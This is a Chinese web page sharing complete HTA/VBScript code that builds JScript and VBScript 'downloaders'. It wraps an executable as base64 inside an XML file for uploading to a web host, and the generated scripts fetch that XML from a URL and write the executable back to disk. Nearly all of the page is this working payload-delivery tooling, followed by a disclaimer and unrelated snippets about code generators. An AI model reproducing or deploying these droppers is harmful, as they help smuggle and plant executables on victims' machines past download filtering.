时间:2021-05-22
以下代码保存成hta文件,可生成js和vbs下载者
复制代码 代码如下:
<HTA:APPLICATION
ID="xmldown"
Caption="yes"
SCROLL="auto"
border="none"
borderStyle="static"
SINGLEINSTANCE="yes"
maximizebutton="no"
BORDER="no"
icon="dxdiag.exe">
<script language=vbs>
Sub Window_onLoad
window.resizeTo screen.width/1.6,screen.height/3
window.moveTo 200,200
End Sub
Sub CreateXml(path,File)
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open()
objStream.LoadFromFile(Path)
objStream.position = 0
Set XmlDoc = CreateObject("Microsoft.XMLDOM")
XmlDoc.async = False
Set Root = XmlDoc.createProcessingInstruction("xml", "version='1.0' encoding='UTF-8'")
XmlDoc.appendChild(Root)
XmlDoc.appendChild(XmlDoc.CreateElement("root"))
Set Xfile = XmlDoc.SelectSingleNode("//root").AppendChild(XmlDoc.CreateElement("file"))
Set Xstream = Xfile.AppendChild(XmlDoc.CreateElement("stream"))
Xstream.SetAttribute "xmlns:dt", "urn:schemas-microsoft-com:datatypes"
Xstream.dataType = "bin.base64"
Xstream.nodeTypedValue = objStream.Read()
XmlDoc.Save(File)
Set XmlDoc = Nothing
Set Root = Nothing
Set objStream=Nothing
End Sub
Function x(obj)
Set x=document.getElementById(obj)
End function
Function Findfile(str)
Set FSO = CreateObject("Scripting.FileSystemObject")
If FSO.FileExists(str) Then
findfile=true
Else
findfile=false
End If
End Function
Function jsdown()
Set FSO = CreateObject("Scripting.FileSystemObject")
with fso.opentextfile((CreateObject("WScript.Shell")).CurrentDirectory&"\jsdown.js",2,true)
.write x("jsdown").value
end with
end function
Function vbsdown()
Set FSO = CreateObject("Scripting.FileSystemObject")
with fso.opentextfile((CreateObject("WScript.Shell")).CurrentDirectory&"\vbsdown.vbs",2,true)
.write x("vbsdown").value
end with
end function
</script>
<body>
<h4>1.生成下载用的xml文件</h4>
选择下载的exe文件:<input type=file name="file1" id="file1" size="20">
保存路径 <input type=text name="path" id="pathname" value="c:\down.xml" size="20">
<input type="button" value="生成xml文件" onclick='vbs:CreateXml x("file1").value,x("pathname").value:If Findfile(x("pathname").value) = true Then msgbox("生成成功,请传到某个空间"):x("url").innerHTML="<font color=red>生成成功,请传到某个空间</font>"'> <br>
<h4>2.生成下载者</h4>
<button onclick='vbs:jsdown():If Findfile("jsdown.js") = true Then msgbox "生成成功":x("url").innerHTML="用法是cscript jsdown.js xmlurl savepath"' >生成js下载者</button><button onclick='vbs:vbsdown():If Findfile("vbsdown.vbs") = true Then msgbox "生成成功":x("url").innerHTML="<font color=blue>用法是cscript vbsdown.js xmlurl savepath</font>"'>生成vbs下载者</button><br><br><br><br>
<div id="url"></div>
<textarea style="visibility:hidden" name=jswodn id=jsdown rows="1" cols="1">
var objArgs = WScript.Arguments;
var objXmlFile =new ActiveXObject("Microsoft.XMLDOM");
objXmlFile.async=false;
objXmlFile.load(objArgs(0).toLowerCase());
do
{
WScript.sleep(100);
}
while (!objXmlFile.readyState == 4)
if (objXmlFile.readyState == 4)
{
var objStream = new ActiveXObject("ADODB.Stream")
var objNodeList =objXmlFile.getElementsByTagName("stream")[0].nodeTypedValue
with(objStream)
{
objStream.Type = 1;
objStream.Open();
objStream.Write(objNodeList);
objStream.SaveToFile(objArgs(1).toLowerCase(),2);
objStream.close();
}
}
delete objXmlFile;
delete objStream;
</textarea>
<textarea style="visibility:hidden" name=vbswodn id=vbsdown rows="1" cols="1">
Set objXmlFile = CreateObject("Microsoft.XMLDOM")
objXmlFile.async=false
objXmlFile.load(Wscript.arguments(0))
Do While objXmlFile.readyState<>4
wscript.sleep 100
Loop
If objXmlFile.readyState = 4 Then
Set objNodeList = objXmlFile.documentElement.selectNodes("//file/stream")
Set objStream = CreateObject("ADODB.Stream")
With objStream
.Type = 1
.Open
.Write objNodeList(0).nodeTypedvalue
.SaveToFile Wscript.arguments(1), 2
.Close
End With
Set objStream = Nothing
End If
Set objXmlFile = Nothing
</textarea>
</body>
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
离婚证生成器下载地址。愚人节离婚证生成器在哪下载。最近微信朋友圈各种神奇玩法层出不穷,最近又出了离婚证生成器,那么离婚证生成器下载地址是什么?微信朋友圈离婚
生成器就是自己用python代码写的迭代器,生成器的本质就是迭代器。通过以下两种方式构建一个生成器:1、通过生成器函数2、生成器表达式生成器函数:函数deffu
1.前言前几天写了篇关于MybatisPlus代码生成器的文章,不少同学私下问我这个代码生成器是如何运作的,为什么要用到一些模板引擎,所以今天来说明下代码生成器
本文实例讲述了python生成器/yield协程/gevent写简单的图片下载器功能。分享给大家供大家参考,具体如下:1、生成器:'''第二种生成器'''#函数
什么是生成器?生成器是一个包含了特殊关键字yield的函数。当被调用的时候,生成器函数返回一个生成器。可以使用send,throw,close方法让生成器和外界